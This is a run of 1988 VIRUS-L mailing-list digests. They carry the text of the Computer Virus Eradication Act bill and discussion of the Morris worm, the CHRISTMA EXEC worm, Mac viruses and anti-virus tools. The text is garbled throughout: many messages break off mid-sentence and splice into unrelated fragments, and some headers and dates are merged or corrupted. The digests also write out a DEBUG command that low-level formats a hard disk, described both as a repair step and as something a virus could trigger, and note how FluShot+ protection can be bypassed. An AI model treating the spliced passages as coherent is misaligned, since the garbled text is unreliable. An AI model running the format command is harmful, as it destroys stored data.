Mr. Herger (for himself and Mr. Carr) introduced the following bill;
which was referred to the Committee on the Judiciary

A BILL
To ammend title 18, United States Code, to provide penalties for persons
interfering with the operations of computers through the use of programs
containing hidden commands that can cause harm, and for other purposes.

1          Be it enacted by the Senate and House of Representa-
2    tives of the United States of America in Congress assembled,
3    SECTION 1. SHORT TITLE.
4          This Act may be cited as the "Computer Virus Eradica-
5    tion Act of 1988".

- -------Page 2

1    SECTION 2. TITLE 18 AMENDMENT.
2          (a) IN GENERAL.- Chapter 65 (relating to malicious
3    mischief) of title 18, United States Code, is amended by
4    adding at the end the following:
5    "S 1368.  Disseminating computer viruses and other harm-
6              ful computer programs
7         "(a) Whoever knowingly-
8             "(1) inserts into a program for a computer infor-
9           mation or commands, knowing or having reason to be-
10          lieve that such information or commands will cause
11          loss to users of a computer on which such program is
12          run or to those who rely on information processed on
13          such computer; and
14            "(2) provides such a program to others in circum-
15          stances in which those others do not know of the inser-
16          tion or its effects;
17   or attempts to do so, shall if any such conduct affects
18   interstate or foreign commerce, be fined under this title or
19   imprisoned not more than 10 years, or both.
20        "(b) Whoever suffers loss by reason of a violation of
21   subsection (a) may, in a civil action against the violator,
22   obtain appropriate relief.  In a civil action under this section,
23   the court may award to the prevailing party a reasonable attor-
24   ney's fee and other litigation expenses.".

- --------Page 3

1         (b) CLERICAL AMENDMENT.- The table of sections at
2    the begining of chapter 65 of title 18, United States Code,
3    is amended by adding at the end the following:
  "1368. Disseminating computer viruses and other harmful computer programs.".

- --------End of Bill

>>>>NOTE: The above text was typed in by hand from a printed copy of HR5061
>>>>      received from Mr. Herger's office.  I have no experience with
>>>>      legal docu>>      errors which could affect the nature of the bill.  Neither
>>>>      I nor my employer (MIT Center for Space Research) make any claims
>>>>      as to the accuracy of the text.  For an official copy of the
>>>>      bill, please contact:
>>>>
>>>>                Mr. Doug Riggs
>>>>                1108 Longworth Bldg
>>>>                Washington D.C.  20515

     + ----------------------------------------------------------- +
     |   Don Alvarez               MIT Center For Space Research   |
     |   [e-mail]      77 Massachusetts Ave   37-618   |
     |   [phone]            Cambridge, MA 02139             |
     + ----------------------------------------------------------- +

------------------------------

Date: Mon, 5 Dec 88 14:01:15 CST
From: Kevin Trojanowski <[e-mail]>
Subject: Morris and the worm

Something I've noticed in the many notes present within this group --
most, if not all, of them discuss the Novemberm, or
has been convicted beyond a reasonable doubt.  Let us remember that in
this country, it's innocent until proven guilty, not guilty as soon as
the FBI arrests you.

If you've not read the Worm analysis, I suggest doing so.  It provides
an interesting insight into the possibility that Morris may not have
written the worm, or may not have done so alone.  It cites examples of
poor coding, inconsistent coding, and poor algorithmic use.

- -Kevin Trojanowski
 [e-mail]

------------------------------

Date: Mon, 5 Dec 1988 15:43:52 EST
From: Ken van Wyk <[e-mail]>
Subject: Internet Worm report available in ASCII format now

A hearty thanks to Len Levine who has (painstakingly, no doubt) taken
the PostScript file of Gene Spafford's report on the Internet worm and
converted it to straight ASCII text (well, PostScript is ASCII, but
not very readable to most of us...)!

So, my U.S. mail distribution of the file can now include eitherk (360k or 1.2 meg MS-DOS),
and I'll mail it back to you.  If you want both the PS and the DOC
file, send two 360k disks or one 1.2 meg disk.  Oh yeah, first e-mail
me a request for my postal address.

Thanks again, Len!

Ken

------------------------------

From: [e-mail]
Date: Mon, 5 Dec 88 16:16:54 est
Subject: Virus Conference (Arlington, Virginia)

A flyer about a virus conference just came across my desk, and I was
wondering if anyone else has heard about it and is considering
attending.  Entitled "Preventing and Containing Computer Virus
Attacks", it takes place January 30-31, in Arlington, VA.  Speakers
include Representative Wally Herger (R-CA), a special agent from the
FBI, John Landry (ADAPSO virus committee chairman), Patricia Sission
from NASA, as well as a collection of attorneys and business folk.
Conference is chaired by Dave Douglass, no info provided.

Have you heard anything about any of these people?  Or any info that
would help     4550 Montgomery Avenue
        Suite 700N
        Bethesda, MD   20814-3382


I've had such mixed success with seminars and conferences that I tend to
get jumpy when I see one that I might want to attend.

- - Gregg

___________________________________________________________________________
Gregg TeHennepe                        | BITNET:  gateh@conncoll
Minicomputer Specialist                | Phone:   [phone]
Academic Computing and User Services
Connecticut College
New London, CT   06320

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Tuesday, 6 Dec 1988         Volume 1 : Issue 34

Today's Topics:
Morris' Criminality
Re: Low-level hard disk format (PC)
CHRISTMA EXEC [IBM VM/CMS] has reappeared!
Virus Eradication Bill

---------------------------------------------------------------------------

Date: 5 December 1988, 15:08:38 CDT
From: Nicholas Geovanis      312-996-0590         UWC6NTG  at UICVMC
Subject: Morris' Criminality

Si Morris' actions and other criminal or
semi-criminal activities, but all have missed an important point.
Regardless of the exact state of the law, if a law enforcement officer
witnesses a person disturbing the public's peace in any manner, that
officer may detain that person, and that person may be prosecuted and
punished in any manner that is not inconsistent with the law.

There is little disagreement that Morris disturbed the "public
peace,".  although there are varying estimates of precisely how big
the disturbance was. So far, he has not been reprimanded in the least.
But if the guys down the block want to have some beers and whoop-it-up
around 3 am., maybe play football in the park, the chances are good
that they'll spend an evening in the lockup, since drinking in public
is illegal, even though it's a victimless crime in itself, and since
the park closes officially at 11 pm.  It's even more likely that a
teenager who steals $40 from a person who can afford the los he may even be idolized
rather than prosecuted. Do you get the point? There's yet another
massive double standard at work here. If you steal another person's.
money (in the form of time or goods, and regardless of whether or not
you use it for your own benefit), whether or not you're punished
depends on how sophisticated your thievery was. If you're clever like
Morris, you may get away with it. If you aren't, and your tool is a
knife instead of a terminal, hope that you don't get caught.

           Nick Geovanis, UWC6NTG at UICVMC
                   Sysprog
               U of Ill Admin Comp Ctr
                 Chicago, Ill

[Ed. Nick, you sent this file to me as (presumably) an IBM SENDFILE
from some IBM mainframe.  ASCII machines (like the one that I'm on)
don't deal with these well; they turn end-of-lines into { brackets,
etc.  It takes me quite a bit of work to convert everything back into
a readable format (anyone know if there's a GNU EMACS function to do
this?), and I won't always have the time to do that (read: anyone
sending mail in SENDFILE format (is that the correct term?)  shouldn't
be surprised if their messages don't make it into the digest).  Please
send mail as "normal" mail that the ASCII world can read properly.
Thanks.

While I'm on the subject of appropriate submission formats, I'd like
to ask people to *please* include an appropriate SUBJECT line.  A
subject of "Re: VIRUS-L Digest V#1 I#27" is *not* an appropriate
subject.  I realize that the recent digesting of VIRUS-L is the cause
of this, but we still need decent subjects.  Here, too, I may not
always have the time to make up a subject for the person sending the
message in...  I'd appreciate everyone's help on this.
Ken]

------------------------------

Date:         Mon, 05 Dec 88 20:45:37 ECT
From:         Ken Hoover <[e-mail]>
Subject:      Re: Low-level hard disk format (PC)

   A Low-level format/restructuring of the disk is a lot closer than
you may think.

   To activate the low-level formatter that resides in your hard disk
controller (this is for Western Digital controllers), get into DEBUG,
and type

       g=C800:5

   This will invoke the low-level formatter, and just follow the
prompts.  There are also commercial programs (ONTRAX comes to mind)
that are designed to accomodate different disk drives.

   Remember to map the hard error locations onto the disk when you are
prompted to.  This is VERY important (I know, the company I got my PC
from forgot to do this, and I spent three months fighing disk errors
until I found out what was really wrong).  There should be a list of
hard errors attached to your drive (usually a sticker on top of the
case), or they may be on a separate sheet which came with the unit.

   Don't EVER do this unless it's the ONLY solution (try everything
else first) because this is a LAST RESORT.  This is the hard disk
equivilant of atomic warfare against errors/viruses.

   Good luck!
                                        - Kenneth J. Hoover

UG Consulant
T.J. Watson School of Engineering
SUNY Binghamton
Binghamton, NY, USA.
BG1838@BINGVMA

------------------------------

Date: Mon, 5 Dec 88 22:24 EST
From: Jim Shaffer <[e-mail]>
Subject: CHRISTMA EXEC [IBM VM/CMS] has reappeared!

This turned up on, of all places, GAMES-L, and while our VAX is immune
to it, I witnessed what it did to BITNet last year and don't wish to
see it again.

This "virus", for those of you not familiar with it, is a program that
purports to draw a Christmas card on your screen.  It does just that,
but also searches your account for names and addresses and mails
itself to all found.  It is written in REXX, an easily human-readable
language, and thus is only run (theoretically) by very stupid users.
Unfortunately, there seemed to be a lot of those around last year.
Maybe it was final exams draining people's brainpower :-)

If I remember rightly, someone eventually circulated an altered
version that also erased your disk for you.  Or maybe that was the
original, and it was altered not to erase later.  In any event, the
effects on BITNet are disastrous if, for some reason, lots of people
run it without looking at it.

- --Jim

- -----------------------------------------------------------------------------
-
-

To all those getting this note:

The Christmas Exec virus has been released on the BitNet system once
again!

This sneaky program has been spotted here at the Univ of Arkansas
several times. If you have seen this elusive program, please delete it
from your reader before execution. It has been the major cause of
BitNet problems{ in the past.

Just a warning (flame me, and I swear...)

Dave Boddie
*************************************************************************
David Boddie            |   "If you hear thunder, don't worry, the light-
Remote4 Operator        |ning hit somethin else!"
Computing Services      |   "M00seMan...With the propotionate strength,
University of Arkansas  |intelligence, and wisdom of a M00se. Bl00p...
Fayetteville, Arkansas  |there he goooeeesss!"
[phone]           |

------------------------------

Date:         Tue, 06 Dec 88 01:50:09 EST
From:         Steve <XRAYSROK@SBCCVM>
Subject:      Virus Eradication Bill

First, I think it would have been useful to have had a copy of the
bill which was being amended so that we could have the complete
picture.  Second, I think some definitions might be in order.  What
does the word 'insert' imply?  Do I have to have an ordinary program
to start with before I can 'insert' something into it, or can I write
my own malicious program from scratch and then name it something
familiar like 'Startrek' or 'WordStar' (and still be subject to this
law)?  Did the Internet Worm Program insert code into another program
(I'm wondering if this amendment is somehow supposed to be a reaction
to the Worm)?  I don't think it did, unless you want to count the act
of running a program as inserting commands into a program (the
operating system).  (Or maybe we should count the use of a program
like the editor, presumably used to write the malicious code; that's
not what the bill intends, but it's stated ratherly vaguely).  I do
like the qualifier 'malicious' because I think intent is important,
but although the bill uses the word 'malicious' in its title, it
actually says nothing about the actual intent of the harmful-code
writer.  I like it that the bill protects those who unknowingly spread
a virus.  On the other hand, the amendment makes it sound as though
somebody can *knowingly* spread a virus, but if they didn't write it,
they're safe from prosecution.

Steven C. Woronick
Physics Dept.
SUNY at Stony Brook
Stony Brook, NY 11790-3800
Disclaimer:  These opinions are solely my own.
Acknowledge-To: <XRAYSROK@SBCCVM>

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Tuesday, 6 Dec 1988         Volume 1 : Issue 35

Today's Topics:
FSP; Hardcard problem (PC)
Re: Computer Virus Eradication Act of 1988
Did Morris write it all?
RE: media (virus) humor vs. disinformation
Christma Exec (IBM VM/CMS)
BINHEX 4.0 and Stuffit ... URGENT ...!!!
making amends
Internet report (ASCII version) avail. for anon. FTP

---------------------------------------------------------------------------

Date:        Tue,  06 Dec 88 15:59:23 +0200
From:        Y. Radai <RADAI1@HBUNOS>
Subject:     FSP; Hardcard problem (PC)

  Paul Coen asked for opinions on (1) FluShot+ 1.4 and (2) the inability
to access a hard card when booting from a DOS 2.11 floppy.

  FLU_SHOT+
  ---------
  I have been using FSP (FLU_SHOT+) 1.4 for several weeks.  (Previously
I used Version 1.2.)  The first experiment I tried was to infect an FSP-
protected computer with the Israeli virus.  FSP prevented the virus from
installing itself in RAM and notified me of the attempt.  It also warns
me of all attempts to format disks.  In these two senses the program
seems to be quite effective.
  When I tried to write-protect a file using the P option, I found that
it worked well against attempts to write directly to the file, but that
there was an easy way of getting around the write protection: create a
new file containing the desired information, delete or rename the ori-
ginal file, then rename the new file to the original name.
  Similarly, the read-protection on a given file can be circumvented by
renaming the file.
  The checksum feature is quite fast.  However, it is basically insecure
since the checksum for any given file is the same for all users.  Also,
the files which are to be checksummed must be specified individually by
the user since wildcard notation is not allowed with the C option.
Particularly annoying is the fact that instead of the program recording
the checksums automatically, the user is forced to enter each checksum
manually into the file containing the filenames, after first running
the program with dummy checksums in that file and writing down each
"correction" displayed by the program.  Finally, there is no provision
for "static" checksumming, i.e. you can't ask for checksumming whenever
you feel like it (unless you use something like MARK/RELEASE to get rid
ofvery now and then, for no apparent reason, I get a mes-
sage from FSP saying "CMOS has been changed!".  I reply "Y" and the
message usually goes away with no apparent ill effects.  However, some-
times I can't get rid of the message (along with a non-stop buzzing
sound and inability to continue working) without re-booting.
  By the way, although the documentation doesn't mention it, I found
that FSP didn't work properly when the value of FILES in the CONFIG.SYS
file was 10 or less (the default is 8).
  A final point is that a program like FSP can be neutralized by a virus
or Trojan which looks for it in memory and temporarily diverts inter-
rupts hooked by the program until it has finished its dirty work.
Another way of circumventing such a program might be to issue commands
directly to the h.d. controller, provided it can be determined which
controller is being used.

  Accessing hard disks when booting from diskettes
  ------------------------------------------------
sk whether a hard disk can
be made inaccessible even when booting from a DOS 3.xx diskette.  The
answer is definitely yes, since it's a fact that PC-Lock does that.
And I'm fairly certain that the way it does it is by modifying the
partition table to make the DOS partition seem non-DOS even to 3.xx,
and correcting for this when booting from the hard disk by means of a
special device driver.

                                           Y. Radai
                                           Hebrew Univ. of Jerusalem

------------------------------

Date: 6 December 1988, 09:42:26 EST
From: David M. Chess                                 CHESS    at YKTVMV
Subject: Re: Computer Virus Eradication Act of 1988

Interesting stuff!  Nice that our legislators are thinking about it.
A few points:

  - It really ought to be the "Trojan Horse Eradication Act", since
    it covers the silly erase-all-files-and-print-"gotcha" programs
    that infants write and post to BBSs under atuses.

  - Would it cover the Internet worm?   I'm not sure in what sense
    the author of the worm program "provided" it "to others".  Not
    *human* others, anyway.

  - Would it cover a virus that spread, but did no intentional
    damage?   For instance, the Mac virus that (was supposed to)
    just put up a "message of peace" and then delete itself.  Rumor
    says that it did do some unintentional damage if run on the
    wrong sort of system.  This law, though, seems intended only
    to cover actions analogous to vandalism, rather than those
    analogous to unlawful entry.

DC
Watson Research
* No one but me has any idea that I'm posting this

------------------------------

Date:    Tue, 06 Dec 88 10:57 EST
From:    "Scott P Leslie" <[e-mail]>
Subject: Did Morris write it all?

Hi,
   This regards the possibility that Morris did not actaully write
all (or even any) of the Internet worm.  You can't really go by coding
style and content in s are hastily done and don't nearly show of your
programming ability.  Also, Morris supposeedly wasn't finished with
the worm program and was just testing it a bit.  While the programming
style seems to indicate that other people should be investigated
to see if they help create the program, it "style" doesn't really
mean much.
   Also, other people could have worked on the project but not been
in on the "release" of the worm.  What do the lawyers out there
say to their liability?
.
Scott P. Leslie (UNCSPL@UNC)                                Jax
Note: The University of North Carolina does not support my comments!

------------------------------

Date: Tue, 6 Dec 88 09:45 EST
From: "$CAROL@OBERLIN (BITNET)" <$[e-mail]>
Subject: RE: media (virus) humor vs. disinformation

Oh, c'mon now...that first cartoon is from the NEW YORKER; I've cut it
out and taped it to my office door.  If you've seen enough of their
other "drawings" (as they like to call t used by the masses is part of
the humor.

        |  Carol Conti-Entin   [phone]
        |  $carol@oberlin   -or-   pconti@oberlin  (BITNET)
        |  Academic Computing Consultant
        |  Houck Computing Center
        |  Oberlin College
        |  Oberlin, OH  44074

------------------------------

Date:    Tue, 6 Dec 88 12:53 EST
From:     <JEB107@PSUVM>
Subject:  Christma Exec (IBM VM/CMS)

The following message came across the Joke-L List today.  I don't know
if this information has already been posted to this list (I am a
recent subscriber) but I thought it might be useful.  Happy hunting.

Jon Baker {JEB107 at PSUVM)


  - - The original note follows - -

Date:         Mon, 5 Dec 88 13:30:02 CST
Sender:       "Funny Jokes, Funny Stories" <JOKE-L@TRITU>
From:         Paul Heroy <HEROY@LSUVM>
Subject:      VIRUS WARNING

WARNING ABOUT CHRISTMA EXEC!!!!!!!

LSU, unfortunately, has been hit by the CHRISTMA EXEC and a few copies
sent out bms, and accesses NAMES, NOTEBOOK, and NETLOG files
in its search for ids/nodes. I may have inadvertently posted this
program on the Joke List - my apologies for this and any inconviences
caused.  If you get a copy of this, purge it.

Thanks,
Paul Heroy
Computer Analyst
Louisiana State University

------------------------------

Date:     Tue Dec 06 15:13:26 1988
From:     Pedro Sepulveda J. <PSEPULVE@USACHVM1>
Subject:  BINHEX 4.0 and Stuffit ... URGENT ...!!!

    Hi Networkers...!

              We need Binhex 4.0 and  Stuffit... If you have this
    programs... Send us please... We need it's very urgently...!

              Thanks a lots...

Viral Investigation Group
Universidad de Santiago de Chile

------------------------------

Date:     Tue, 6 Dec 88 14:41:01 EST
From:     Jefferson Ogata (me!) <OGATA@UMDD>
Subject:  making amends

Homer's idea of making amends is all very beautiful, but I think it
really belongs in another universe for two impoange amends-making methods for some
criminals, while we continue to punish others.  The U.S. legal system
is not going to change.

Another problem is that the amends-making arrangement opens up a great
new realm of crime.  Scenario: a company researcher discovers some-
thing nifty, but holds off on letting anyone know about it.  He
promptly goes out and commits some large monetary crime, e.g.
embezzlement.  If he is caught, he now has the collateral he needs
to buy back his esteem.  In fact, he may bounce back higher than
before, and receive useful publicity.

To restate a point I made a while back: there's no point in us discus-
sing what SHOULD happen to Morris.  All we can talk about is what will
happen.  And it doesn't involve making amends.  So forget it.

- - Jeff Ogata

------------------------------

Date: Tue, 6 Dec 1988 15:53:21 EST
From: Ken van Wyk <[e-mail]>
Subject: Internet report (ASCII version) avail. for anon. FTP

The ASCII .DOC version of Gene Spafford's report on the Internet Worm
is now available for anonymous FTP from pine.circa.ufl.edu (the same
place where the PostScript version of the same file is located).

Enjoy,

Ken

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Wednesday, 7 Dec 1988        Volume 1 : Issue 36
                   [A date that will live in infamy...]

Today's Topics:
What is a Worm?
Morris again
seminar
Was Morris the author?
nVIR Strikes Again (Macintosh)
Virus information files

---------------------------------------------------------------------------

Date:         Tue, 06 Dec 88 20:00:35 EST
From:         Robert Newberry <RNEWBER@AKRONVM>
Subject:      What is a Worm?

Hi All,

Can someone please give me a good working definition of what a worm is?

                                                        Rob....
P.S.  Does anyone know if there is a more up to date version of the
      the Dirty Dozen list.

*************************************************************************
*  Robert Newberry                    * "The Tao gave birth to machine  *
*  <rnewber@akronvm>                  *  language. Machine language     *
*  University of Akron,               *  birth to assembler. The        *
*  Computer Center   Rm. 144d         *  assembler gave birth to the    *
*  185 Carroll Street                 *  compiler.  etc....."           *
*  Akron, Ohio  44304   USA           *                                 *
*************************************************************************

------------------------------

Date: Tue, 6 Dec 88 08:25:00 EST
From: [e-mail]
Subject: Morris again

I haven't heard anything lately; so what are they going to do with
poor Morris?  I feel for the poor man, he seems to be a very
intelligent individual who did not delibrately set out to destroy.

------------------------------

Date: Tue, 6 Dec 88 08:30:10 EST
From: [e-mail]
Subject: seminar

Is this a one day affair, or does it spread out? What are the topics of
discussion, if any?

------------------------------

Date: Tue,  6 Dec 88 22:35:25 -0500 (EST)
From: Michael Francis Polis <[e-mail]>
Subject: Was Morris the author?

>The code
>appears quite inconsistant, ranging from highly optimized
>professionally written code (e.g., the crypt function works 9 times
>faster than the BSD version") to amateurish code with multiple
>(unused) global variables and subroutines that never get called.
>Since Morris has not made a public statement acknowledging that he was
>the (sole) author of the worm, to the best of my knowledge, is it safe
>to even assume that he did (all) the work?

Yes, he could have easily done all the work as far as assembling the
virus is concerned.  At a talk held here on viruses (and worms), it
was explained that researchers send code (like efficient crypt()
routines) to each other quite often.  So Morris could have easily
gotten bits of code from various innocent collegues and patched them
together.  Also 9 times the speed of a BSD crypt() may not be all that
fast since BSD crypt() is designed to run slowly to prevent brute
force password breaking.

------------------------------

Date:  Tue, 6 Dec 88 20:32 MST
From:  [e-mail]
Subject:  nVIR Strikes Again (Macintosh)

I was informed today that one lab at the University of Calgary (a
Macintosh lab used by Graduate Students, Professors, and
Undergraduates) has been infected by nVir.  One of the professors
noticed his applications crashing on a regular basis, did some
snooping around, and found nVir.  It was apparently given to us from
some guests that visited the campus after attending a Conference held
by some members of the U of C faculty.  The infection has not caused
any loss of data, and has apparently been eradicated through the use
of some program called NPW Tools or some such (has anyone else heard
of this program?  If so, please fill me in on it).

Thought you might like to hear some good news for a change instead of
another report of infection and loss of data.

                    Greg Lypowy
                    Research Assistant
                    Knowledge Sciences Institute
                    University of Calgary
                    Calgary, Alberta
                    CANADA

------------------------------

Date:     Sat, 3 Dec 88 11:02:16 PST
From:     Robert Slade <[e-mail]>
Subject:  Virus information files

There have been many recent requests for info on viri.  I have
announced this before, but ... well here goes.

I have, and am willing to distribute, about 2 meg of info on viri and
related "security breaking" programs.  Note: info.  I am not willing
to distribute the viri themselves.

The bulk of this is messages from RISKS-FORUM, INFO-IBMPC, INFO-MAC,
VIRUS-L and Computers and Society.  I have recently been editting them
into separate subject files; FUNCTION, HISTORY, CONTACTS, OPINION,
RELATED and DEFinition.

*I WILL NOT MAIL 2 MEG FILES OVER THE NET!* And ubc doesn't support
FTP.  Send a sufficient number of disks (PC 360K/5 1/4 or 720K/3 1/2)
with a self addressed *CANADIAN* stamped mailer to:

 Robert Slade
 3118 Baird Road
 North Vancouver, B. C.
 V7K 2G6

Amongst the reports: the CHRISTMA EXEC, a report of an Apple DOS 3.3
virus from 1982, the use of intelligent terminals as "virus" vectors,
Lehigh, Israeli, and BRAIN MS-DOS viri, nVIR and SCORES mac viri etc.
etc.

Next, history, help, etc.?

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Wednesday, 7 Dec 1988        Volume 1 : Issue 37

Today's Topics:
Cost of the RTM WORM  and new U.S. legislation
more conference info
RE: locking of a PC harddisk
Low level format (PC)

---------------------------------------------------------------------------

Date:    Wed, 07 Dec 88 08:58 CST
From:    Ken  De Cruyenaere <KDC@UOFMCC> 204-474-8340
Subject: Cost of the RTM WORM  and new U.S. legislation

The Computer Security Institute newsletter (#84) quotes an estimate
from USA TODAY saying that the cost of the incident exceeds
$95 million.
 "This is based on 6200 computer affected, requiring 12 programmers at
 each site to spend 36 hours each (at $22 per hour) checking out every
 system that might have been affected, and adding in lost computer
 time (16 hours per system at $372 per hour).  However, even if this
 figure substantially overstates the case, there is no doubt that the
 true costs  were indeed in the millions of dollars."

The newsletter also provides details of the new virus law (mentioned
by Don Alvarez in Virus digest #22):
 "Congressman Wally Herger (R-California) has introduced H.R.5061, the
  'Computer Virus Eradication Act of 1988'  If passed, this bill would
  define the introduction or conscious dessemination of (i.e.
  knowingly passing along to someone else) computer viruses
  (or other harmful programs) that impact interstate or foreign
  commerce as a type of 'malicious mischief' prohibited under title
  18 of the U.S. Code.  Penalties range up to 10 years imprisonment
  and allow for recovery of damages via civil action.  To obtain a
  copy of H.R.5061, contact your local Congressional representative."

------------------------------

From: [e-mail]
Date: Wed, 7 Dec 88 10:13:48 est
Subject: more conference info

It's a two (read one and a half) day seminar, Monday and Tuesday,
January 30 and 31.

Preventing and Containing Computer Virus Attacks

Day 1:

Introduction:  Overview of the virus phenomenon
  Thomas Samson, partner, Heidrick & Struggles, Dallas, TX

Designing Virus-Resistant Systems
  Patricia Sission, NASA, Greenbelt, MD

Luncheon Talk:  Legislative update
  Representative Wally Herger (R-CA)

Successful security awareness programs
  Nicholas Elsberg, corp. sec. officer, Aetna Life & Casualty, Hartford, CT

Conducting a risk assessment
  Jerrard Gartnet, senior mgr., national auditing services, EDP audit
        research, Price Waterhouse, Toronto

Day 2:

Overview of commercial anti-virus filters and vaccines
  Robert Jacobsen, IST Inc., New York, NY

What to do if you have been attacked
  A special agent with the FBI, Washington, DC

Liability issues of virus attacks
  Robert Baker, attorney, Weinberg & Green, Baltimore, MD
  Marr Haack, dir. of marketing, electronics and information technology,
        St. Paul Fire & Marine Insurance Co., St. Paul, MN
  John Landry, chairman, ADAPSO virus committee, executive VP for
        development, Cullinet Software, Westwood, MA


Sponsored by nalyzer, IC Strategist, The National Report on
Computers and Health, Back-Office Bulletin, 411, and Telecommunications Alert

Hand-typed, so I take full responsibility for typos and erros

- - Gregg

_______________________________________________________________________________
_
Gregg TeHennepe                        | BITNET:  gateh@conncoll
Minicomputer Specialist                | Phone:   [phone]
Academic Computing and User Services
Connecticut College
New London, CT   06320

------------------------------

Date: Wed, 7 Dec 88 08:47 MDT
From: [e-mail]
Subject: RE: locking of a PC harddisk

To Y. Radai -- regarding locking out a PC harddisk: even though the
partition table can be altered to fool DOS, a program, such as a
virus, can initiate a low level format through the disk controller,
such as implemeted through debug with g=c800:5.

Allen Gordon

------------------------------

Date:         Wed, 07 Dec 88 11:22:29 EDrd disks while leaving all data
in place.

It is put out by Gibson Research Corp (Box 6024, Irvine, CA 92716) and
I think my copy was about $60.  This is the Gibson that writes a
column for Inforworld.

Has anybody used this?  I confess one of the reasons I haven't run is
that it still seems tricky (although the doco is written so even I can
understand it) to mess around with low level formatting.  Any comments
from users would be appreciated.

Acknowledge-To: <3ZLUFUR@CMUVM>

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest             Thursday, 8 Dec 1988         Volume 1 : Issue 38

Today's Topics:
Morris making good
Pentagon computer 'SWAT team'

---------------------------------------------------------------------------

Date: Wed, 07 Dec 88 18:34:02 CST
From: [e-mail]
Subject: Morris making good

   Why not discuss what Morris should have to do to make good his
'prank'?  What do you think that th team'

In today's paper, I noticed that the Pentagon has set up a so called
'Swat team' to respond to security threats on their systems.  The
official name is CERT (Computer Emergency Response Team).  I was
wondering if such a team could really be that effective??  It seems to
me that the team would only act after a system had been penetrated and
some (if any) damage done.  I'm very interested as to whether such a
setup is really worth the expense.  Any responses would be greatly
appreciated.

Greg Galbraith
<<ST6333@SIUCVMB>>

[Ed. I can see it now, "This looks like a job for CERTs!"  :-)  Ok, so
I'm an awful punster...]

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest             Thursday, 8 Dec 1988         Volume 1 : Issue 39

Today's Topics:
RE:  CERT organization
General Macintosh virus query
re: $95 million cost of Internet Worm
Spinrite (PC)
Bursting "HUNT, DOUG" <[e-mail]>
Subject: RE:  CERT organization

The CERT organization is not a single "team" of individuals, but
rather a network of the best and drightest "hackers" or wizards as
DARPA calls them at the colleges, universities and research
institutions which compose the ARPANet.  These folks are intended to
be on call in the case of an emergency and coordinated through various
local points where communication and processing resources can be amde
available even if the NET goes down.

In a sense it is formalizing (but not too much) the actual ad hoc
activity that occurred around the last event.  It also adds resources
and what not to support the activity and ensure that there are
reliable channels of communication and coordination for the ARPAnet
and Internet users.  IT is focused on the Unix users community and is
actually coordinated out of SEI.

It is not truly a DoD activity although it has been organized and
supported by the DARPA folks.

ery

Hello,

I am an Academic Programmer at the University of Akron, Ohio.  I am
interested in obtaining more information about viruses and the
Macintosh.  I know that this is a fairly general request -- but I
don't have any specific questions.

We have experienced viruses on the Macintosh, but have not been able
to detect what they are nor do we have any vaccines for them.  So I
would like any and all information relating to viruses and vaccines
that are available.

I would guess that there are several vaccines available as public
domain and I would like information about them.  However, I have a
user who would like to purchase a vaccine (to insure integrity, etc.)
so if anyone has any information about vaccines available for purchase
I would like that also.

I am not on this list so any reponses can be sent to my E-Mail
address:

DUBOSE@AKRONVM

Thank you,

Kathy DuBose
The University of Akron

------------------------------

Date: Thu, 8 Dec 88 10:05:84) quotes an estimate
from USA TODAY saying that the cost of the incident exceeds
$95 million.
 "This is based on 6200 computer affected, requiring 12 programmers at
 each site to spend 36 hours each (at $22 per hour) checking out every
 system that might have been affected, and adding in lost computer
 time (16 hours per system at $372 per hour).  However, even if this
 figure substantially overstates the case, there is no doubt that the
 true costs  were indeed in the millions of dollars."
...End Quote

     Like many others, when I read this I pulled out my calculator to
     check how they combined those numbers (ie how many computers are
     they assuming per "site"?).  Sure enough, $95 million comes from
     assuming one computer per site.  I think that's nonsense.  I'll
     bet the average is AT LEAST ten computers per site.  We're pretty
     small potatoes here and we had something like fourty computers
     get hit.  That means in order to keep up with the Jones'es, we
     should have thrown 12x40 = 480 programmers at the problem.  You
     should not be surprised to say that we managed to handle the
     incident with less than one dozen programmers total.  Computers
     and programming does not scale in the normal manner.  Chances
     are, as the number of computers at a site went up, the number of
     programmers required per machine went down nearly exponentially
     (if you only have three machines, you probably have no idea about
     how they are connected, but if you have 200, you know EXACTLY how
     every one is connected to every other).

     If we re-do the NCSC's calculation assuming 10 machines per site
     and 12 programmers per site, we get a cost of only $40 million.
     If we then note that the widely quoted 6000 machine number
     originated in a press conference at MIT where somebody (Jeff
     Schiller?) made a complete guess, then we have to wonder about
     the 6200 number (6000 +200 to give it an extra significant
     digit?).  I've heard much smaller numbers sugested by others
     (such as three thousand).  That would pull the cost down to more
     like $20 million.

     I don't mean to imply that my number is any better than theirs,
     but if somebody gives you some numbers and then draws a
     conclusion from them, you have an obligation to see if their
     conclusion agrees with their numbers, and I think in this case
     that the answer is that it doesn't.  One computer does not a site
     make.

                Sorry about that... my two sentence flame
                seems to have gotten a little out of hand.
                thanks for staying with me...

                        - Don Alvarez

     + ----------------------------------------------------------- +
     |   Don Alvarez               MIT Center For Space Research   |
     |   [e-mail]      77 Massachusetts Ave   37-618   |
     |   [phone]            Cambridge, MA 02139             |
     + ----------------------------------------------------------- +

------------------------------

Date: Thu, 8 Dec 88 11:00:58 CDT
From: Len Levine <[e-mail]>
Subject: Spinrite (PC)

>From:         3ZLUFUR@CMUVM
>Subject:      Low level format (PC)
>
>In v. l:31, H. Smith asks about reformatting hard disks.  I'm not a
>tekkie, but I assume SpinRite will do the job.  It is advertised
>mainly as a way to low level format hard disks while leaving all data
>in place.
>
>It is put out by Gibson Research Corp (Box 6024, Irvine, CA 92716) and
>I think my copy was about $60.  This is the Gibson that writes a
>column for Inforworld.

I use it regularly.  Spinrite will NOT clean out viruses that have
been written to your disk, it will very carefully remove them,
reformat the disk, and then replace them, just like it does with any
other code.

It will, however, "fix" bad blocks that a virus has used to secrete
stuff, and make them available to the disk again.

No, if you want to truly clean out any stuff on the disk, a true low
level reformat with all stuff deleted is the only way.

As stated earlier in this newsletter, low level formatting is nuclear
warfare against a virus.

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Leonard P. Levine               e-mail [e-mail] |
| Professor, Computer Science             Office [phone] |
| University of Wisconsin-Milwaukee       Home   [phone] |
| Milwaukee, WI 53201 U.S.A.              Modem  [phone] |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

------------------------------

Date:     Thu,  8 Dec 88 13:14 EST
